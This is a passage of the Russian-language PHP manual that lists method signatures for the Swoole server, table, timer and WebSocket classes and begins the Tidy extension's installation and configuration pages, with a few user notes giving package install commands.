(PECL swoole >= 1.9.0)

Swoole\Server::getLastError — Получает код самой последней ошибки

Описание

public Swoole\Server::getLastError(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет все соединения на сервере

  • « Swoole\Server::getLastError
  • Swoole\Server::listen »
  • PHP Manual
  • Swoole\Server
  • Проверяет все соединения на сервере

Swoole\Server::heartbeat

(PECL swoole >= 1.9.0)

Swoole\Server::heartbeat — Проверяет все соединения на сервере

Описание

public Swoole\Server::heartbeat(bool $if_close_connection): mixed

Список параметров

if_close_connection

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Слушает по заданному IP и порту, тип сокета

  • « Swoole\Server::heartbeat
  • Swoole\Server::on »
  • PHP Manual
  • Swoole\Server
  • Слушает по заданному IP и порту, тип сокета

Swoole\Server::listen

(PECL swoole >= 1.9.0)

Swoole\Server::listen — Слушает по заданному IP и порту, тип сокета

Описание

public Swoole\Server::listen(string $host, int $port, string $socket_type): bool

Список параметров

host

port

socket_type

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функцию по имени события

  • « Swoole\Server::listen
  • Swoole\Server::pause »
  • PHP Manual
  • Swoole\Server
  • Регистрирует callback-функцию по имени события

Swoole\Server::on

(PECL swoole >= 1.9.0)

Swoole\Server::on — Регистрирует callback-функцию по имени события

Описание

public Swoole\Server::on(string $event_name, callable $callback): void

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Прекращает получение данных от соединения

  • « Swoole\Server::on
  • Swoole\Server::protect »
  • PHP Manual
  • Swoole\Server
  • Прекращает получение данных от соединения

Swoole\Server::pause

(PECL swoole >= 1.9.0)

Swoole\Server::pause — Прекращает получение данных от соединения

Описание

public Swoole\Server::pause(int $fd): void

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает соединение в защищённый режим

  • « Swoole\Server::pause
  • Swoole\Server::reload »
  • PHP Manual
  • Swoole\Server
  • Устанавливает соединение в защищённый режим

Swoole\Server::protect

(PECL swoole >= 1.9.0)

Swoole\Server::protect — Устанавливает соединение в защищённый режим

Описание

public Swoole\Server::protect(int $fd, bool $is_protected = ?): void

Список параметров

fd

is_protected

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перезапускает все рабочие процессы

  • « Swoole\Server::protect
  • Swoole\Server::resume »
  • PHP Manual
  • Swoole\Server
  • Перезапускает все рабочие процессы

Swoole\Server::reload

(PECL swoole >= 1.9.0)

Swoole\Server::reload — Перезапускает все рабочие процессы

Описание

public Swoole\Server::reload(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Начинает получать данные из соединения

  • « Swoole\Server::reload
  • Swoole\Server::send »
  • PHP Manual
  • Swoole\Server
  • Начинает получать данные из соединения

Swoole\Server::resume

(PECL swoole >= 1.9.0)

Swoole\Server::resume — Начинает получать данные из соединения

Описание

public Swoole\Server::resume(int $fd): void

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные клиенту

  • « Swoole\Server::resume
  • Swoole\Server::sendfile »
  • PHP Manual
  • Swoole\Server
  • Отправляет данные клиенту

Swoole\Server::send

(PECL swoole >= 1.9.0)

Swoole\Server::send — Отправляет данные клиенту

Описание

public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

fd

data

reactor_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет файл на соединение

  • « Swoole\Server::send
  • Swoole\Server::sendMessage »
  • PHP Manual
  • Swoole\Server
  • Отправляет файл на соединение

Swoole\Server::sendfile

(PECL swoole >= 1.9.0)

Swoole\Server::sendfile — Отправляет файл на соединение

Описание

public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

fd

filename

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет сообщение рабочим процессам по идентификатору

  • « Swoole\Server::sendfile
  • Swoole\Server::sendto »
  • PHP Manual
  • Swoole\Server
  • Отправляет сообщение рабочим процессам по идентификатору

Swoole\Server::sendMessage

(PECL swoole >= 1.9.0)

Swoole\Server::sendMessage — Отправляет сообщение рабочим процессам по идентификатору

Описание

public Swoole\Server::sendMessage(int $worker_id, string $data): bool

Список параметров

dst_worker_id

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные на удалённый UDP-адрес

  • « Swoole\Server::sendMessage
  • Swoole\Server::sendwait »
  • PHP Manual
  • Swoole\Server
  • Отправляет данные на удалённый UDP-адрес

Swoole\Server::sendto

(PECL swoole >= 1.9.0)

Swoole\Server::sendto — Отправляет данные на удалённый UDP-адрес

Описание

public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool

Список параметров

ip

port

data

server_socket

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные в удалённый сокет блокирующим способом

  • « Swoole\Server::sendto
  • Swoole\Server::set »
  • PHP Manual
  • Swoole\Server
  • Отправляет данные в удалённый сокет блокирующим способом

Swoole\Server::sendwait

(PECL swoole >= 1.9.0)

Swoole\Server::sendwait — Отправляет данные в удалённый сокет блокирующим способом

Описание

public Swoole\Server::sendwait(int $fd, string $data): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

fd

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает настройки времени выполнения сервера swoole

  • « Swoole\Server::sendwait
  • Swoole\Server::shutdown »
  • PHP Manual
  • Swoole\Server
  • Устанавливает настройки времени выполнения сервера swoole

Swoole\Server::set

(PECL swoole >= 1.9.0)

Swoole\Server::set — Устанавливает настройки времени выполнения сервера swoole

Описание

public Swoole\Server::set(array $settings): ReturnType

Устанавливает настройки времени выполнения сервера swoole. Доступ к настройкам можно получить с помощью $server->setting после запуска сервера swoole.

Список параметров

settings

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах

  • « Swoole\Server::set
  • Swoole\Server::start »
  • PHP Manual
  • Swoole\Server
  • Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах

Swoole\Server::shutdown

(PECL swoole >= 1.9.0)

Swoole\Server::shutdown — Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах

Описание

public Swoole\Server::shutdown(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Запускает сервер Swoole

  • « Swoole\Server::shutdown
  • Swoole\Server::stats »
  • PHP Manual
  • Swoole\Server
  • Запускает сервер Swoole

Swoole\Server::start

(PECL swoole >= 1.9.0)

Swoole\Server::start — Запускает сервер Swoole

Описание

public Swoole\Server::start(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает статистику сервера Swoole

  • « Swoole\Server::start
  • Swoole\Server::stop »
  • PHP Manual
  • Swoole\Server
  • Получает статистику сервера Swoole

Swoole\Server::stats

(PECL swoole >= 1.9.0)

Swoole\Server::stats — Получает статистику сервера Swoole

Описание

public Swoole\Server::stats(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Останавливает сервер Swoole

  • « Swoole\Server::stats
  • Swoole\Server::task »
  • PHP Manual
  • Swoole\Server
  • Останавливает сервер Swoole

Swoole\Server::stop

(PECL swoole >= 1.9.0)

Swoole\Server::stop — Останавливает сервер Swoole

Описание

public Swoole\Server::stop(int $worker_id = ?): bool

Список параметров

worker_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные в рабочие процессы задачи

  • « Swoole\Server::stop
  • Swoole\Server::taskwait »
  • PHP Manual
  • Swoole\Server
  • Отправляет данные в рабочие процессы задачи

Swoole\Server::task

(PECL swoole >= 1.9.0)

Swoole\Server::task — Отправляет данные в рабочие процессы задачи

Описание

public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

dst_worker_id

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Посылает данные рабочим процессам задачи блокирующим способом

  • « Swoole\Server::task
  • Swoole\Server::taskWaitMulti »
  • PHP Manual
  • Swoole\Server
  • Посылает данные рабочим процессам задачи блокирующим способом

Swoole\Server::taskwait

(PECL swoole >= 1.9.0)

Swoole\Server::taskwait — Посылает данные рабочим процессам задачи блокирующим способом

Описание

public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

timeout

worker_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выполняет несколько задач одновременно

  • « Swoole\Server::taskwait
  • Swoole\Server::tick »
  • PHP Manual
  • Swoole\Server
  • Выполняет несколько задач одновременно

Swoole\Server::taskWaitMulti

(PECL swoole >= 1.9.0)

Swoole\Server::taskWaitMulti — Выполняет несколько задач одновременно

Описание

public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void

Список параметров

tasks

timeout_ms

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Повторяет данную функцию в каждый заданный интервал времени

  • « Swoole\Server::taskWaitMulti
  • Swoole\Table »
  • PHP Manual
  • Swoole\Server
  • Повторяет данную функцию в каждый заданный интервал времени

Swoole\Server::tick

(PECL swoole >= 1.9.0)

Swoole\Server::tick — Повторяет данную функцию в каждый заданный интервал времени

Описание

public Swoole\Server::tick(int $interval_ms, callable $callback): void

Список параметров

interval_ms

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Table

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Table implements Iterator, Countable {
/* Константы */
const int TYPE_INT = 1;
const int TYPE_STRING = 7;
const int TYPE_FLOAT = 6;
/* Методы */
public column(string $name, string $type, int $size = ?): ReturnType
public count(): int
public create(): void
public current(): array
public decr(string $key, string $column, int $decrby = ?): ReturnType
public del(string $key): void
public destroy(): void
public exist(string $key): bool
public get(string $row_key, string $column_key): int
public incr(string $key, string $column, int $incrby = ?): void
public key(): string
public next(): ReturnType
public rewind(): void
public set(string $key, array $value): VOID
public valid(): bool
}

Предопределённые константы

Swoole\Table::TYPE_INT

Swoole\Table::TYPE_STRING

Swoole\Table::TYPE_FLOAT

Содержание

  • Swoole\Table::column — Устанавливает тип данных и размер столбцов
  • Swoole\Table::__construct — Создаёт таблицу памяти Swoole с фиксированным размером
  • Swoole\Table::count — Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1
  • Swoole\Table::create — Создаёт таблицу памяти swoole
  • Swoole\Table::current — Получает текущую строку
  • Swoole\Table::decr — Уменьшает значение в таблице Swoole по $row_key и $column_key
  • Swoole\Table::del — Удаляет строку в таблице Swoole по $row_key
  • Swoole\Table::destroy — Уничтожает таблицу Swoole
  • Swoole\Table::exist — Проверяет, существует ли строка по $row_key
  • Swoole\Table::get — Получает значение в таблице Swoole по $row_key и $column_key
  • Swoole\Table::incr — Увеличивает значение по $row_key и $column_key
  • Swoole\Table::key — Получает ключ текущей строки
  • Swoole\Table::next — Перемещает итератор на следующую строку
  • Swoole\Table::rewind — Перематывает итератор
  • Swoole\Table::set — Обновляет строку таблицы по $row_key
  • Swoole\Table::valid — Проверяет, является ли текущая строка корректной

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает тип данных и размер столбцов

  • « Swoole\Table
  • Swoole\Table::__construct »
  • PHP Manual
  • Swoole\Table
  • Устанавливает тип данных и размер столбцов

Swoole\Table::column

(PECL swoole >= 1.9.0)

Swoole\Table::column — Устанавливает тип данных и размер столбцов

Описание

public Swoole\Table::column(string $name, string $type, int $size = ?): ReturnType

Список параметров

name

type

size

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт таблицу памяти Swoole с фиксированным размером

  • « Swoole\Table::column
  • Swoole\Table::count »
  • PHP Manual
  • Swoole\Table
  • Создаёт таблицу памяти Swoole с фиксированным размером

Swoole\Table::__construct

(PECL swoole >= 1.9.0)

Swoole\Table::__construct — Создаёт таблицу памяти Swoole с фиксированным размером

Описание

public Swoole\Table::__construct(int $table_size)

Список параметров

table_size

User Contributed Notes

There are no user contributed notes for this page.


Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1

  • « Swoole\Table::__construct
  • Swoole\Table::create »
  • PHP Manual
  • Swoole\Table
  • Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1

Swoole\Table::count

(PECL swoole >= 1.9.0)

Swoole\Table::count — Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1

Описание

public Swoole\Table::count(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт таблицу памяти swoole

  • « Swoole\Table::count
  • Swoole\Table::current »
  • PHP Manual
  • Swoole\Table
  • Создаёт таблицу памяти swoole

Swoole\Table::create

(PECL swoole >= 1.9.0)

Swoole\Table::create — Создаёт таблицу памяти swoole

Описание

public Swoole\Table::create(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает текущую строку

  • « Swoole\Table::create
  • Swoole\Table::decr »
  • PHP Manual
  • Swoole\Table
  • Получает текущую строку

Swoole\Table::current

(PECL swoole >= 1.9.0)

Swoole\Table::current — Получает текущую строку

Описание

public Swoole\Table::current(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает значение в таблице Swoole по $row_key и $column_key

  • « Swoole\Table::current
  • Swoole\Table::del »
  • PHP Manual
  • Swoole\Table
  • Уменьшает значение в таблице Swoole по $row_key и $column_key

Swoole\Table::decr

(PECL swoole >= 1.9.0)

Swoole\Table::decr — Уменьшает значение в таблице Swoole по $row_key и $column_key

Описание

public Swoole\Table::decr(string $key, string $column, int $decrby = ?): ReturnType

Список параметров

key

column

decrby

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет строку в таблице Swoole по $row_key

  • « Swoole\Table::decr
  • Swoole\Table::destroy »
  • PHP Manual
  • Swoole\Table
  • Удаляет строку в таблице Swoole по $row_key

Swoole\Table::del

(PECL swoole >= 1.9.0)

Swoole\Table::del — Удаляет строку в таблице Swoole по $row_key

Описание

public Swoole\Table::del(string $key): void

Список параметров

key

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает таблицу Swoole

  • « Swoole\Table::del
  • Swoole\Table::exist »
  • PHP Manual
  • Swoole\Table
  • Уничтожает таблицу Swoole

Swoole\Table::destroy

(PECL swoole >= 1.9.0)

Swoole\Table::destroy — Уничтожает таблицу Swoole

Описание

public Swoole\Table::destroy(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли строка по $row_key

  • « Swoole\Table::destroy
  • Swoole\Table::get »
  • PHP Manual
  • Swoole\Table
  • Проверяет, существует ли строка по $row_key

Swoole\Table::exist

(PECL swoole >= 1.9.0)

Swoole\Table::exist — Проверяет, существует ли строка по $row_key

Описание

public Swoole\Table::exist(string $key): bool

Список параметров

key

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает значение в таблице Swoole по $row_key и $column_key

  • « Swoole\Table::exist
  • Swoole\Table::incr »
  • PHP Manual
  • Swoole\Table
  • Получает значение в таблице Swoole по $row_key и $column_key

Swoole\Table::get

(PECL swoole >= 1.9.0)

Swoole\Table::get — Получает значение в таблице Swoole по $row_key и $column_key

Описание

public Swoole\Table::get(string $row_key, string $column_key): int

Список параметров

row_key

column_key

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает значение по $row_key и $column_key

  • « Swoole\Table::get
  • Swoole\Table::key »
  • PHP Manual
  • Swoole\Table
  • Увеличивает значение по $row_key и $column_key

Swoole\Table::incr

(PECL swoole >= 1.9.0)

Swoole\Table::incr — Увеличивает значение по $row_key и $column_key

Описание

public Swoole\Table::incr(string $key, string $column, int $incrby = ?): void

Список параметров

key

column

incrby

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает ключ текущей строки

  • « Swoole\Table::incr
  • Swoole\Table::next »
  • PHP Manual
  • Swoole\Table
  • Получает ключ текущей строки

Swoole\Table::key

(PECL swoole >= 1.9.0)

Swoole\Table::key — Получает ключ текущей строки

Описание

public Swoole\Table::key(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор на следующую строку

  • « Swoole\Table::key
  • Swoole\Table::rewind »
  • PHP Manual
  • Swoole\Table
  • Перемещает итератор на следующую строку

Swoole\Table::next

(PECL swoole >= 1.9.0)

Swoole\Table::next — Перемещает итератор на следующую строку

Описание

public Swoole\Table::next(): ReturnType

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перематывает итератор

  • « Swoole\Table::next
  • Swoole\Table::set »
  • PHP Manual
  • Swoole\Table
  • Перематывает итератор

Swoole\Table::rewind

(PECL swoole >= 1.9.0)

Swoole\Table::rewind — Перематывает итератор

Описание

public Swoole\Table::rewind(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обновляет строку таблицы по $row_key

  • « Swoole\Table::rewind
  • Swoole\Table::valid »
  • PHP Manual
  • Swoole\Table
  • Обновляет строку таблицы по $row_key

Swoole\Table::set

(PECL swoole >= 1.9.0)

Swoole\Table::set — Обновляет строку таблицы по $row_key

Описание

public Swoole\Table::set(string $key, array $value): VOID

Список параметров

key

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущая строка корректной

  • « Swoole\Table::set
  • Swoole\Timer »
  • PHP Manual
  • Swoole\Table
  • Проверяет, является ли текущая строка корректной

Swoole\Table::valid

(PECL swoole >= 1.9.0)

Swoole\Table::valid — Проверяет, является ли текущая строка корректной

Описание

public Swoole\Table::valid(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Timer

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Timer {
/* Методы */
public static after(int $after_time_ms, callable $callback): void
public static clear(int $timer_id): void
public static exists(int $timer_id): bool
public static tick(int $interval_ms, callable $callback, string $param = ?): void
}

Содержание

  • Swoole\Timer::after — Запускает callback-функцию через определённый промежуток времени
  • Swoole\Timer::clear — Удаляет таймер по идентификатору
  • Swoole\Timer::exists — Проверяет, существует ли таймер
  • Swoole\Timer::tick — Повторяет данную функцию в каждый заданный интервал времени

User Contributed Notes

There are no user contributed notes for this page.


Запускает callback-функцию через определённый промежуток времени

  • « Swoole\Timer
  • Swoole\Timer::clear »
  • PHP Manual
  • Swoole\Timer
  • Запускает callback-функцию через определённый промежуток времени

Swoole\Timer::after

(PECL swoole >= 1.9.0)

Swoole\Timer::after — Запускает callback-функцию через определённый промежуток времени

Описание

public static Swoole\Timer::after(int $after_time_ms, callable $callback): void

Запускает callback-функцию через определённый промежуток времени.

Список параметров

after_time_ms

callback

Возвращаемые значения

User Contributed Notes

Mohamed Ramadan 07-Dec-2021 10:57
when using timer after must use

swoole_event_wait();


Удаляет таймер по идентификатору

  • « Swoole\Timer::after
  • Swoole\Timer::exists »
  • PHP Manual
  • Swoole\Timer
  • Удаляет таймер по идентификатору

Swoole\Timer::clear

(PECL swoole >= 1.9.0)

Swoole\Timer::clear — Удаляет таймер по идентификатору

Описание

public static Swoole\Timer::clear(int $timer_id): void

Удаляет таймер по идентификатору.

Список параметров

timer_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли таймер

  • « Swoole\Timer::clear
  • Swoole\Timer::tick »
  • PHP Manual
  • Swoole\Timer
  • Проверяет, существует ли таймер

Swoole\Timer::exists

(PECL swoole >= 1.9.0)

Swoole\Timer::exists — Проверяет, существует ли таймер

Описание

public static Swoole\Timer::exists(int $timer_id): bool

Проверяет, существует ли таймер.

Список параметров

timer_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Повторяет данную функцию в каждый заданный интервал времени

  • « Swoole\Timer::exists
  • Swoole\WebSocket\Frame »
  • PHP Manual
  • Swoole\Timer
  • Повторяет данную функцию в каждый заданный интервал времени

Swoole\Timer::tick

(PECL swoole >= 1.9.0)

Swoole\Timer::tick — Повторяет данную функцию в каждый заданный интервал времени

Описание

public static Swoole\Timer::tick(int $interval_ms, callable $callback, string $param = ?): void

Список параметров

interval_ms

callback

param

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\WebSocket\Frame

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\WebSocket\Frame {
/* Методы */
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\WebSocket\Server

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\WebSocket\Server extends Swoole\Http\Server {
/* Методы */
public exist(int $fd): bool
public on(string $event_name, callable $callback): ReturnType
public static pack(
string $data,
string $opcode = ?,
string $finish = ?,
string $mask = ?
): binary
public push(
string $fd,
string $data,
string $opcode = ?,
string $finish = ?
): void
public static unpack(binary $data): string
/* Наследуемые методы */
public Swoole\Http\Server::on(string $event_name, callable $callback): void
public Swoole\Http\Server::start(): void
}

Содержание

  • Swoole\WebSocket\Server::exist — Проверяет, существует ли описание файла
  • Swoole\WebSocket\Server::on — Зарегистрировать callback-функцию события
  • Swoole\WebSocket\Server::pack — Получение пакета двоичных данных для отправки в одной группе данных (frame)
  • Swoole\WebSocket\Server::push — Отправить данные удалённому клиенту
  • Swoole\WebSocket\Server::unpack — Распаковать двоичные данные, полученные от клиента

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли описание файла

  • « Swoole\WebSocket\Server
  • Swoole\WebSocket\Server::on »
  • PHP Manual
  • Swoole\WebSocket\Server
  • Проверяет, существует ли описание файла

Swoole\WebSocket\Server::exist

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::exist — Проверяет, существует ли описание файла

Описание

public Swoole\WebSocket\Server::exist(int $fd): bool

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Зарегистрировать callback-функцию события

  • « Swoole\WebSocket\Server::exist
  • Swoole\WebSocket\Server::pack »
  • PHP Manual
  • Swoole\WebSocket\Server
  • Зарегистрировать callback-функцию события

Swoole\WebSocket\Server::on

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::on — Зарегистрировать callback-функцию события

Описание

public Swoole\WebSocket\Server::on(string $event_name, callable $callback): ReturnType

Зарегистрировать callback-функцию события

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получение пакета двоичных данных для отправки в одной группе данных (frame)

  • « Swoole\WebSocket\Server::on
  • Swoole\WebSocket\Server::push »
  • PHP Manual
  • Swoole\WebSocket\Server
  • Получение пакета двоичных данных для отправки в одной группе данных (frame)

Swoole\WebSocket\Server::pack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::pack — Получение пакета двоичных данных для отправки в одной группе данных (frame)

Описание

public static Swoole\WebSocket\Server::pack(
string $data,
string $opcode = ?,
string $finish = ?,
string $mask = ?
): binary

Список параметров

data

opcode

finish

mask

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправить данные удалённому клиенту

  • « Swoole\WebSocket\Server::pack
  • Swoole\WebSocket\Server::unpack »
  • PHP Manual
  • Swoole\WebSocket\Server
  • Отправить данные удалённому клиенту

Swoole\WebSocket\Server::push

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::push — Отправить данные удалённому клиенту

Описание

public Swoole\WebSocket\Server::push(
string $fd,
string $data,
string $opcode = ?,
string $finish = ?
): void

Список параметров

fd

data

opcode

finish

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Распаковать двоичные данные, полученные от клиента

  • « Swoole\WebSocket\Server::push
  • Tidy »
  • PHP Manual
  • Swoole\WebSocket\Server
  • Распаковать двоичные данные, полученные от клиента

Swoole\WebSocket\Server::unpack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::unpack — Распаковать двоичные данные, полученные от клиента

Описание

public static Swoole\WebSocket\Server::unpack(binary $data): string

Список параметров

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Tidy

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Пример использования Tidy
  • tidy — Класс tidy
    • tidy::body — Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева
    • tidy::cleanRepair — Выполнить настроенную очистку и восстановление разобранной разметки
    • tidy::__construct — Создаёт новый tidy-объект
    • tidy::diagnose — Запуск настроенной диагностики для разобранной и восстановленной разметки
    • tidy::$errorBuffer — Возвращает предупреждения и ошибки, возникшие при разборе указанного документа
    • tidy::getConfig — Получает текущую конфигурацию Tidy
    • tidy::getHtmlVer — Получает обнаруженную HTML версию для указанного документа
    • tidy::getOpt — Возвращает значение указанного параметра конфигурации для документа tidy
    • tidy::getOptDoc — Возвращает описание для опции с указанным названием
    • tidy::getRelease — Получить дату релиза (версию) для библиотеки Tidy
    • tidy::getStatus — Получает статус указанного документа
    • tidy::head — Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева
    • tidy::html — Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева
    • tidy::isXhtml — Определяет, является ли документ XHTML-документом
    • tidy::isXml — Определяет, является ли документ общим XML-документом (не HTML/XHTML)
    • tidy::parseFile — Разбор разметки в файле или URI
    • tidy::parseString — Разбор документа, хранимого в строке
    • tidy::repairFile — Восстанавливает разметку файла и возвращает его в виде строки
    • tidy::repairString — Восстанавливает строку, используя по возможности конфигурационный файл
    • tidy::root — Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева
  • tidyNode — Класс tidyNode
    • tidyNode::__construct — Приватный конструктор, делающий невозможным прямое создание объекта
    • tidyNode::getParent — Возвращает родительский узел текущего узла
    • tidyNode::hasChildren — Проверяет существование потомков у узла
    • tidyNode::hasSiblings — Проверяет существование соседних узлов
    • tidyNode::isAsp — Проверяет текущий узел на соответствие ASP
    • tidyNode::isComment — Проверяет, является ли узел комментарием
    • tidyNode::isHtml — Проверяет, является ли узел узлом элемента
    • tidyNode::isJste — Проверяет текущий узел на соответствие JSTE
    • tidyNode::isPhp — Проверяет, является ли текущий узел PHP-кодом
    • tidyNode::isText — Проверяет, является ли текущий узел обычным текстом (не разметкой)
  • Tidy
    • ob_tidyhandler — Функция обратного вызова ob_start для восстановление буфера
    • tidy_access_count — Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе
    • tidy_config_count — Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа
    • tidy_error_count — Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
    • tidy_get_output — Возвращает строку, представляющую разобранную tidy-разметку
    • tidy_warning_count — Возвращает число Tidy-предупреждений, встреченных в указанном документе

User Contributed Notes

anon 13-Feb-2019 08:44
Configuration options in http://tidy.sourceforge.net/docs/quickref.html are obsoletes.

Actual configuration options are here:
http://api.html-tidy.org/tidy/quickref_5.0.0.html
sirmonko at tapirpirates dot net 28-May-2009 12:59
here are the configuration options for tidy:
http://tidy.sourceforge.net/docs/quickref.html


Введение

Tidy является интерфейсом к утилите очистки и восстановления Tidy HTML, которая позволяет помимо очистки и восстановления также манипулировать документами HTML, XHTML и XML, а также перемещаться по дереву документа в том числе встроенными скриптовыми языками, такими как PHP или ASP с использованием объектно-ориентированного подхода.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Использование Tidy требует установленной библиотеки libtidy, доступной на домашней странице tidy » http://tidy.sourceforge.net/. Начиная с PHP 7.1.0, понимающая HTML5 библиотека » libtidy5 может использоваться в качестве альтернативы. Начиная с PHP 7.3.0, другой вариант заключается в использовании » libtidyp.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль поставляется вместе с PHP 5, а устанавливается с помощью параметра конфигурации --with-tidy.

User Contributed Notes

a dot sadegh63 at gmail dot com 01-Jul-2022 01:51
install tidy on ubuntu 20.0.4 for PHP 8.1
sudo apt-get install php8.1-tidy
krzysztof at madejscy dot pl 16-May-2018 11:26
On Ubuntu 17.10 and php 7.1:
sudo apt install libtidy-dev libtidy5 php-tidy
Anonymous 05-Feb-2014 07:06
On Redhat-ish linux, you must install both libtidy and libtidy-devel (PHP 5.x):
sudo yum install libtidy libtidy-devel


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации Tidy
Имя | По умолчанию | Место изменения | Список изменений
tidy.default_config | "" | PHP_INI_SYSTEM |
tidy.clean_output | "0" | PHP_INI_USER |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

tidy.default_config string

Путь по умолчанию к конфигурационному файлу Tidy.

tidy.clean_output bool

Включает/выключает восстановление потока вывода средствами Tidy.

Внимание

Не следует включать tidy.clean_output в случае генерации контента, отличного от html, такого как динамические изображения.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы
